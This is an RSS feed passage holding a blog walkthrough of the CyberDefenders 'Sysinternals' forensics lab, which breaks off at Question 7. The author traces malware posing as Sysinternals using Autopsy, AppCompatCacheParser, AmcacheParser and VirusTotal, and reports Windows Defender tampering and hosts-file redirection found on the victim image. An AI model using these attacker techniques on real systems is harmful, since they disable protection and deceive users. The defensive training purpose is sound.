&gt;https://attack.mitre.org/techniques/T1016/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T1567.004 Exfiltration Over Web Service: Exfiltration Over Webhook):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1567/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1567/004/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>CyberDefenders  —  SysInternals Blue Team Lab Walkthrough</title>
            <link>https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/</link>
            <pubDate>Sun, 07 Jul 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/df9ce3b400de0131ff38c81d2d1f1e2e_MD5.png&#34; alt=&#34;Featured image of post CyberDefenders  —  SysInternals Blue Team Lab Walkthrough&#34; /&gt;&lt;h3 id=&#34;cyberdefenders--sysinternals-blue-team-lab-walkthrough&#34;&gt;CyberDefenders — SysInternals Blue Team Lab Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;endpoint-forensic-investigation-of-masquerading-malware-using-autopsy-eric-zimmermans-tools-and-virustotal&#34;&gt;Endpoint Forensic Investigation of Masquerading Malware using Autopsy, Eric Zimmerman&amp;rsquo;s Tools, and VirusTotal&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;405px&#34; data-flex-grow=&#34;169&#34; height=&#34;473&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/df9ce3b400de0131ff38c81d2d1f1e2e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/sysinternals/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/sysinternals/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! Are you curious about investigating a malware incident from a forensic disk image? Well you&amp;rsquo;re in luck — we&amp;rsquo;re about to tackle the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/sysinternals/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Sysinternals&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/sysinternals/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Sysinternals&lt;/strong&gt;&lt;/a&gt; is a digital forensics and incident response (DFIR) challenge where we will analyze the artifacts of a malware infection from a forensic disk image and gather intelligence on first and second stage executables.&lt;/p&gt;&#xA;&lt;p&gt;You might be asking yourself &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;wait, isn&amp;rsquo;t &lt;em&gt;Sysinternals&lt;/em&gt; legitimate_?&amp;ldquo;and you&amp;rsquo;d be right! If you don&amp;rsquo;t know &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Sysinternals&lt;/em&gt;&lt;/a&gt; is a fantastic, and not malicious, suite of tools provided by &lt;em&gt;Microsoft.&lt;/em&gt; Unfortunately, the victim in this scenario thought they were getting the legitimate tool from &lt;em&gt;Microsoft&lt;/em&gt; but instead downloaded and executed some malware masquerading as the legitimate &lt;em&gt;Sysinternals —&lt;/em&gt; not good!&lt;/p&gt;&#xA;&lt;p&gt;To figure out what happened, we&amp;rsquo;re going to use quite a few utilities from &lt;em&gt;Eric Zimmerman&amp;rsquo;s&lt;/em&gt; tools, &lt;em&gt;Autopsy&lt;/em&gt;, and &lt;em&gt;VirusTotal&lt;/em&gt;. So, if this sounds interesting to you, you&amp;rsquo;ve stumbled on the right blog!&lt;/p&gt;&#xA;&lt;p&gt;In the spirit of learning, I am not going to be revealing any flags in this write-up, so I encourage you to go hands-on and try it for yourself — you got this! Now let&amp;rsquo;s put on our detective hats and have some fun with forensics!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading along!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/sysinternals/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/sysinternals/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A user thought they were downloading the SysInternals tool suite and attempted to open it, but the tools did not launch and became inaccessible. Since then, the user has observed that their system has gradually slowed down and become less responsive.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;As a soc analyst, analyze the artifacts and answer the questions.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-was-the-malicious-executable-file-name-that-the-user-downloaded&#34;&gt;Question 1: What was the malicious executable file name that the user downloaded?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s start by unzipping the challenge file; within the archive we have an &lt;em&gt;Encase (E01)&lt;/em&gt; forensic image file. This time around, the challenge suggests a couple of tools that are available to open this file type including &lt;em&gt;FTK Imager&lt;/em&gt; and &lt;a class=&#34;link&#34; href=&#34;https://github.com/sleuthkit/autopsy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Sleuthkit Autopsy&lt;/em&gt;&lt;/a&gt;. For this walkthrough, I chose to use &lt;em&gt;Autopsy.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s kick off this investigation and launch &lt;em&gt;Autopsy&lt;/em&gt;, open a new case, load the challenge file image as the data source, and run the default ingest module options.&lt;/p&gt;&#xA;&lt;p&gt;After the data source is processed, we&amp;rsquo;ll be able to browse through the victim&amp;rsquo;s device image.&lt;/p&gt;&#xA;&lt;p&gt;Since the user mentioned that they tried to download the &lt;em&gt;Sysinternals&lt;/em&gt; suite, we can start by checking out the &lt;em&gt;Downloads&lt;/em&gt; folders in the &lt;em&gt;User&lt;/em&gt; directory to see if it contains any artifacts that will help us answer &lt;strong&gt;Question&lt;/strong&gt; &lt;strong&gt;1.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;460px&#34; data-flex-grow=&#34;191&#34; height=&#34;417&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/d4c39213762abe3403af201783e3699d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After browsing the Downloads folders, we&amp;rsquo;ll stumble on an interesting binary, &lt;em&gt;Sysinternals.exe&lt;/em&gt;, in the Public downloads folder. Based on the information provided by the user, this seems likely to be the malicious executable we are looking for &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T0849/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;masquerading&lt;/a&gt; as the legitimate &lt;em&gt;Microsoft&lt;/em&gt; &lt;em&gt;Sysinternals.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1084px&#34; data-flex-grow=&#34;451&#34; height=&#34;177&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/bb211c277e937778dea4effcb91a1084_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-when-was-the-last-time-the-malicious-executable-file-was-modified-12-hourformat&#34;&gt;Question 2: When was the last time the malicious executable file was modified? 12-hour format&#xA;&lt;/h3&gt;&lt;p&gt;Since we have a &lt;em&gt;changed time&lt;/em&gt; for the suspicious file in the &lt;em&gt;listing pane,&lt;/em&gt; this seems like it will be straightforward, but unfortunately, it&amp;rsquo;s not that simple. Let&amp;rsquo;s get creative and approach this another way. Another tool suggested for this challenge is &lt;em&gt;AppCompatCacheParser&lt;/em&gt;, a utility that is part of the excellent &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Eric Zimmerman&amp;rsquo;s&lt;/em&gt;&lt;/a&gt; tool suite.&lt;/p&gt;&#xA;&lt;p&gt;Now for some background! The &lt;em&gt;Application Compatibility Cache&lt;/em&gt; (&lt;em&gt;AppCompatCache&lt;/em&gt;) is used in &lt;em&gt;Windows&lt;/em&gt;-based systems to track compatibility with older apps in newer versions of &lt;em&gt;Windows&lt;/em&gt;. At first glance, this doesn&amp;rsquo;t seem that interesting but, from a forensic perspective, it contains some valuable information. For example, according to this &lt;a class=&#34;link&#34; href=&#34;https://cloud.google.com/blog/topics/threat-intelligence/caching-out-the-val&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Google&lt;/em&gt; blog post&lt;/a&gt;, the &lt;em&gt;AppCompatCache&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&amp;hellip;Stores various file metadata depending on the operating system, such as:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;File Full Path&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;File Size&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;$Standard_Information (SI) Last Modified time&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Shimcache Last Updated time&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Process Execution Flag&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Okay! Now we&amp;rsquo;re getting somewhere. So now we just need to figure out how to access this cache. Fortunately, I stumbled across a helpful blog post from &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/blog/mass-triage-part-4-processing-returned-files-appcache-shimcache/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;SANS&lt;/em&gt;&lt;/a&gt; which describes this process in some detail:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The first part of conducting ShimCache Analysis is pulling all of the SYSTEM hives from all of machines on the network.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, putting all of this together, we just need to jump back into &lt;em&gt;Autopsy,&lt;/em&gt; extract the &lt;em&gt;SYSTEM&lt;/em&gt; registry hive, and parse it with &lt;em&gt;AppCompatParser.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;419px&#34; data-flex-grow=&#34;174&#34; height=&#34;458&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/b093e447ab36e773303546f43c83a5b4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll find the &lt;em&gt;SYSTEM&lt;/em&gt; hive in &lt;em&gt;Windows/System32/config&lt;/em&gt; — from here we can use &lt;em&gt;Autopsy&lt;/em&gt; to extract the file.&lt;/p&gt;&#xA;&lt;p&gt;Once the file is extracted, we can use the following syntax to parse the file with &lt;em&gt;AppCompatCacheParser&lt;/em&gt; with the &lt;em&gt;Windows command prompt.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;AppCompatCacheParser.exe -f &amp;ldquo;PATH-TO-SYSTEM-HIVE&amp;rdquo; &amp;ndash;csv &amp;ldquo;PATH-TO-OUTPUT-FILE.csv&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;Finally, we can check the output and search for &amp;quot; # &amp;ldquo;sysinternals&amp;rdquo;— this will show us the &lt;em&gt;Last Modified Time&lt;/em&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; For the purposes of this challenge, I am using &lt;em&gt;Eric Zimmerman&amp;rsquo;s Timeline Explorer,&lt;/em&gt; but you can use any &lt;em&gt;CSV&lt;/em&gt; viewer that you&amp;rsquo;d like.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;621px&#34; data-flex-grow=&#34;258&#34; height=&#34;309&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/85524334f09f97c599804f38b643a9ac_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now before we try inputting this answer, pay special attention to the challenge question — it is looking for the 12-hour format, not the 24-hour time we got from the output.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;984px&#34; data-flex-grow=&#34;410&#34; height=&#34;195&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/87441f0d8cb6755073593ef0a33d42bf_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-sha1-hash-value-of-themalware&#34;&gt;Question 3: What is the SHA1 hash value of the malware?&#xA;&lt;/h3&gt;&lt;p&gt;Now, we need to get the &lt;em&gt;SHA1&lt;/em&gt; file hash of the malicious &lt;em&gt;Sysinternals.exe.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The original plan was to simply extract the file from the &lt;em&gt;Downloads&lt;/em&gt; folder, but the file hash didn&amp;rsquo;t match what the challenge was looking for — so we&amp;rsquo;ll need a new plan.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s return to the &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/blog/mass-triage-part-4-processing-returned-files-appcache-shimcache/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;SANS blog&lt;/em&gt;&lt;/a&gt; that we referenced in the previous question. Scrolling down to the bottom, there is a link describing the next article in the series which covers something relevant for what we need to tackle &lt;strong&gt;Question 3&lt;/strong&gt; — the &lt;em&gt;Amcache&lt;/em&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/blog/mass-triage-part-5-processing-returned-files-amcache/&#34;  title=&#34;https://www.sans.org/blog/mass-triage-part-5-processing-returned-files-amcache/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Mass Triage Part 5: Processing Returned Files - Amcache&lt;/strong&gt;&#xA;_The Amcache.hve file contains information on the executables that were executed on the system. Yogesh Khatri&amp;rsquo;s blog&amp;hellip;_www.sans.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/blog/mass-triage-part-5-processing-returned-files-amcache/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s check out what the &lt;em&gt;Amcache&lt;/em&gt; is all about. According to the blog entry, &amp;quot; # &amp;ldquo;the Amcache.hve file contains information on the executables that were executed on the system&amp;quot;and &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;t_he following fields: full path and SHA1 hash.&amp;ldquo;To do this, we will use another of &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Eric Zimmerman&amp;rsquo;s&lt;/em&gt;&lt;/a&gt; tools, &lt;em&gt;AmcacheParser.&lt;/em&gt; But first, we need to extract the &lt;em&gt;Amcache registry hive (Amcache.hve)&lt;/em&gt; from the image using &lt;em&gt;Autopsy.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;537px&#34; data-flex-grow=&#34;224&#34; height=&#34;357&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/201c0c27e309ab7f9a7ec9352bd84107_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The A_mcache.hve_ is in &lt;em&gt;Windows/appcompat/Programs/Amcache.hve —&lt;/em&gt; let&amp;rsquo;s extract it and parse it!&lt;/p&gt;&#xA;&lt;p&gt;AmcacheParser.exe -f &amp;ldquo;PATH-TO-SYSTEM-HIVE\Amcache.hve&amp;rdquo; &amp;ndash;csv PATH-TO-OUTPUT-FILE.csv&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;711px&#34; data-flex-grow=&#34;296&#34; height=&#34;270&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/880c3493a4bfe734cdd001c670b5b25f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the output directory we&amp;rsquo;ll have several files, but we want to focus on &lt;em&gt;Amcache_UnassociatedFileEntries.csv.&lt;/em&gt; Once it opens, we&amp;rsquo;ll _s_earch for &amp;quot; # &amp;ldquo;sysinternals&amp;quot;which provides us with a handy column with the &lt;em&gt;SHA1&lt;/em&gt; hash of the executable!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1655px&#34; data-flex-grow=&#34;689&#34; height=&#34;116&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/671183f3778c703c3ca5e379266772b3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1097px&#34; data-flex-grow=&#34;457&#34; height=&#34;175&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/ec96ff4840e3b4d321515e3fddf76806_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-malwares-family&#34;&gt;Question 4: What is the malware&amp;rsquo;s family?&#xA;&lt;/h3&gt;&lt;p&gt;Okay! Now that we have found the &lt;em&gt;SHA1&lt;/em&gt; hash of the malware binary, let&amp;rsquo;s gather some additional intelligence and do some research with &lt;em&gt;VirusTotal&lt;/em&gt; so that we can better understand what we are dealing with.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;790px&#34; data-flex-grow=&#34;329&#34; height=&#34;243&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/179d98c3fa7fd56dd80c69d9b0085848_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 4&lt;/strong&gt;, we&amp;rsquo;re going to focus on the family labels for this binary. There are a couple of labels, but we are looking at the third one (at the time of this writing) to answer the question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; If the family label has changed, check the detection name from &lt;em&gt;Alibaba&lt;/em&gt; on &lt;em&gt;VirusTotal.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1072px&#34; data-flex-grow=&#34;446&#34; height=&#34;179&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/9b16f16eb8a7bce45a0e890aa9ec507e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-first-mapped-domains-fully-qualified-domain-namefqdn&#34;&gt;Question 5: What is the first mapped domain&amp;rsquo;s Fully Qualified Domain Name (FQDN)?&#xA;&lt;/h3&gt;&lt;p&gt;Now, let&amp;rsquo;s stick with &lt;em&gt;VirusTotal&lt;/em&gt; and pivot over to the &lt;em&gt;Relations&lt;/em&gt; tab so that we can see further details of the analysis including the contacted URLs:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;587px&#34; data-flex-grow=&#34;244&#34; height=&#34;327&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/b0bb2eb7ac1efcda9483dc7b1caa32c0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;After examining the list, only one of these sticks out as suspicious both in the domain name and the number of detection hits. Let&amp;rsquo;s enter the first contacted &lt;em&gt;URL&amp;rsquo;s FQDN&lt;/em&gt; and move on to &lt;strong&gt;Question 6!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1072px&#34; data-flex-grow=&#34;446&#34; height=&#34;179&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/14f167e19a3d4055300cf7046232b5f3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-the-mapped-domain-is-linked-to-an-ip-address-what-is-that-ipaddress&#34;&gt;Question 6: The mapped domain is linked to an IP address. What is that IP address?&#xA;&lt;/h3&gt;&lt;p&gt;Well, I thought &lt;strong&gt;Question 6&lt;/strong&gt; would be simple to discover using &lt;em&gt;VirusTotal&lt;/em&gt; or through reverse DNS lookups but neither of these options worked. So, let&amp;rsquo;s turn to the challenge hint for a thread to follow!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2285px&#34; data-flex-grow=&#34;952&#34; height=&#34;84&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/4f8e4fe15b8612d3d95fb70fe21a2fb2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Interesting! The hint is pointing us to the &lt;em&gt;PowerShell&lt;/em&gt; command history file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.4&#34;  title=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.4&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;about History - PowerShell&lt;/strong&gt;&#xA;_Describes how to get and run commands in the command history._learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.4&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s return to our &lt;em&gt;Autopsy&lt;/em&gt; case and see what we can discover by navigating to the file path.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;433px&#34; data-flex-grow=&#34;180&#34; height=&#34;443&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/76892e169dd9cd9cd272b0588ccc8c16_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Contents of the PowerShell Command History&lt;/p&gt;&#xA;&lt;p&gt;Immediately, we see that &lt;em&gt;PowerShell&lt;/em&gt; history shows some suspicious commands tampering with &lt;em&gt;Windows Defender.&lt;/em&gt; At the bottom of the command history, we can also see that one IP address was added to the &lt;em&gt;Windows&lt;/em&gt; hosts file with two different hostnames, the legitimate &lt;em&gt;Sysinternals&lt;/em&gt; domain and the malicious one that we found in &lt;strong&gt;Question 5.&lt;/strong&gt; After this modification, both URLs would resolve to the same IP address&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s confirm this by checking the &lt;em&gt;Windows&lt;/em&gt; hosts file in the image. You can navigate to it by following the path in the image below:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;450px&#34; data-flex-grow=&#34;187&#34; height=&#34;426&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/8abcdf617042ffdc455603991a7461bb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The victim&amp;rsquo;s Windows hosts file.&lt;/p&gt;&#xA;&lt;p&gt;Okay, now that we have seen the information in two places let&amp;rsquo;s submit our answer and move forward with the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1078px&#34; data-flex-grow=&#34;449&#34; height=&#34;178&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-sysinternals-blue-team-lab-walkthrough/c50a401847a006bab8dc2a96f8d0484c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-name-of-the-executable-dropped-by-the-first-stage-executable&#34;&gt;Question 7: What is the name of the executable dropped by the first-stage 